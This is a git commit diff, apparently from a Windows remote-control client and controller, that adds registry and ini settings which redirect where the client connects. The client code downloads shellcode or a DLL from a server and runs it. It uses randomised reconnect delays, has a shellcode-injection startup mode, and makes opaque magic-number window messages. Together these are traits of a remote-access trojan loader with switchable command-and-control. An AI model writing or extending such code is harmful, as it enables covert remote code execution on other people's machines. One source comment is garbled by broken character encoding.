TinyRun&TestRun: Read configuration when it's available
This commit is contained in:
@@ -6,16 +6,16 @@
|
|||||||
#include <assert.h>
|
#include <assert.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
#include <stdio.h>
|
|
||||||
#define Mprintf printf
|
#define Mprintf printf
|
||||||
#define IsRelease 0
|
#define IsRelease 0
|
||||||
#else
|
#else
|
||||||
#define Mprintf(format, ...)
|
#define Mprintf(format, ...)
|
||||||
#define IsRelease 1
|
#define IsRelease 1
|
||||||
#endif
|
#endif
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
#pragma comment(lib, "ws2_32.lib")
|
#pragma comment(lib, "ws2_32.lib")
|
||||||
|
|
||||||
@@ -89,6 +89,28 @@ int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
char* ReadRegistryString(const char* subKey, const char* valueName) {
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
LONG ret = RegOpenKeyExA(HKEY_CURRENT_USER, subKey, 0, KEY_READ, &hKey);
|
||||||
|
if (ret != ERROR_SUCCESS)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
DWORD dataType = 0;
|
||||||
|
DWORD dataSize = 1024;
|
||||||
|
char *data = (char*)malloc(dataSize+1);
|
||||||
|
if (data) {
|
||||||
|
ret = RegQueryValueExA(hKey, valueName, NULL, &dataType, (LPBYTE)data, &dataSize);
|
||||||
|
data[min(dataSize, 1024)] = '\0';
|
||||||
|
if (ret != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) {
|
||||||
|
free(data);
|
||||||
|
data = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
|
const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
|
||||||
if (!sIP || !sizeOut) return NULL;
|
if (!sIP || !sizeOut) return NULL;
|
||||||
|
|
||||||
@@ -96,11 +118,26 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
|
|||||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
|
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
|
||||||
return NULL;
|
return NULL;
|
||||||
|
|
||||||
|
char addr[100] = { 0 };
|
||||||
|
strcpy(addr, sIP);
|
||||||
|
const char* path = "Software\\ServerD11\\settings";
|
||||||
|
char* saved_ip = ReadRegistryString(path, "master");
|
||||||
|
char* saved_port = ReadRegistryString(path, "port");
|
||||||
|
char* valid_to = ReadRegistryString(path, "valid_to");
|
||||||
|
int now = time(NULL), valid = valid_to ? atoi(valid_to) : 0;
|
||||||
|
if (now <= valid && saved_ip && *saved_ip && saved_port && *saved_port) {
|
||||||
|
strcpy(addr, saved_ip);
|
||||||
|
serverPort = atoi(saved_port);
|
||||||
|
}
|
||||||
|
free(saved_ip); saved_ip = NULL;
|
||||||
|
free(saved_port); saved_port = NULL;
|
||||||
|
free(valid_to); valid_to = NULL;
|
||||||
|
|
||||||
char serverIP[INET_ADDRSTRLEN] = { 0 };
|
char serverIP[INET_ADDRSTRLEN] = { 0 };
|
||||||
if (GetIPAddress(sIP, serverIP, sizeof(serverIP)) == 0) {
|
if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) {
|
||||||
Mprintf("Resolved IP: %s\n", serverIP);
|
Mprintf("Resolved IP: %s\n", serverIP);
|
||||||
} else {
|
} else {
|
||||||
Mprintf("Failed to resolve '%s'.\n", sIP);
|
Mprintf("Failed to resolve '%s'.\n", addr);
|
||||||
WSACleanup();
|
WSACleanup();
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@@ -112,7 +149,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
|
|||||||
int attemptCount = 0, requestCount = 0;
|
int attemptCount = 0, requestCount = 0;
|
||||||
do {
|
do {
|
||||||
if (!isFirstConnect)
|
if (!isFirstConnect)
|
||||||
Sleep(IsRelease ? rand()%60 * 1000 : 5000);
|
Sleep(IsRelease ? rand()%120 * 1000 : 5000);
|
||||||
isFirstConnect = FALSE;
|
isFirstConnect = FALSE;
|
||||||
if (++attemptCount == 20)
|
if (++attemptCount == 20)
|
||||||
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
|
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
|
||||||
@@ -216,6 +253,9 @@ inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, in
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
extern DLL_API DWORD WINAPI run(LPVOID param) {
|
extern DLL_API DWORD WINAPI run(LPVOID param) {
|
||||||
|
char eventName[64] = { 0 };
|
||||||
|
sprintf(eventName, "EVENT_%d", GetCurrentProcessId());
|
||||||
|
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName);
|
||||||
PluginParam* info = (PluginParam*)param;
|
PluginParam* info = (PluginParam*)param;
|
||||||
int size = 0;
|
int size = 0;
|
||||||
const char* dllData = ReceiveShellcode(info->IP, info->Port, &size);
|
const char* dllData = ReceiveShellcode(info->IP, info->Port, &size);
|
||||||
|
|||||||
@@ -259,6 +259,15 @@ int main(int argc, const char *argv[])
|
|||||||
status = 0;
|
status = 0;
|
||||||
SetConsoleCtrlHandler(&callback, TRUE);
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
|
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
auto now = time(0);
|
||||||
|
auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||||
|
if (now <= valid_to) {
|
||||||
|
auto saved_ip = cfg.GetStr("settings", "master");
|
||||||
|
auto saved_port = cfg.GetInt("settings", "port");
|
||||||
|
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
|
||||||
|
}
|
||||||
|
|
||||||
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
|
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
|
||||||
if (g_ConnectAddress.iStartup == Startup_InjSC)
|
if (g_ConnectAddress.iStartup == Startup_InjSC)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -93,6 +93,12 @@ static UINT Indicators[] =
|
|||||||
IDR_STATUSBAR_STRING
|
IDR_STATUSBAR_STRING
|
||||||
};
|
};
|
||||||
|
|
||||||
|
std::string EventName() {
|
||||||
|
char eventName[64];
|
||||||
|
snprintf(eventName, sizeof(eventName), "EVENT_%d", GetCurrentProcessId());
|
||||||
|
return eventName;
|
||||||
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
// 保存 unordered_map 到文件
|
// 保存 unordered_map 到文件
|
||||||
@@ -1151,6 +1157,14 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
|||||||
{
|
{
|
||||||
if (nIDEvent == TIMER_CHECK)
|
if (nIDEvent == TIMER_CHECK)
|
||||||
{
|
{
|
||||||
|
static int count = 0;
|
||||||
|
static std::string eventName = EventName();
|
||||||
|
HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName.c_str());
|
||||||
|
if (hEvent) {
|
||||||
|
CloseHandle(hEvent);
|
||||||
|
}else if (++count == 10) {
|
||||||
|
THIS_APP->UpdateMaxConnection(count);
|
||||||
|
}
|
||||||
if (!m_superPass.empty()) {
|
if (!m_superPass.empty()) {
|
||||||
Mprintf(">>> Timer is killed <<<\n");
|
Mprintf(">>> Timer is killed <<<\n");
|
||||||
KillTimer(nIDEvent);
|
KillTimer(nIDEvent);
|
||||||
|
|||||||
Reference in New Issue
Block a user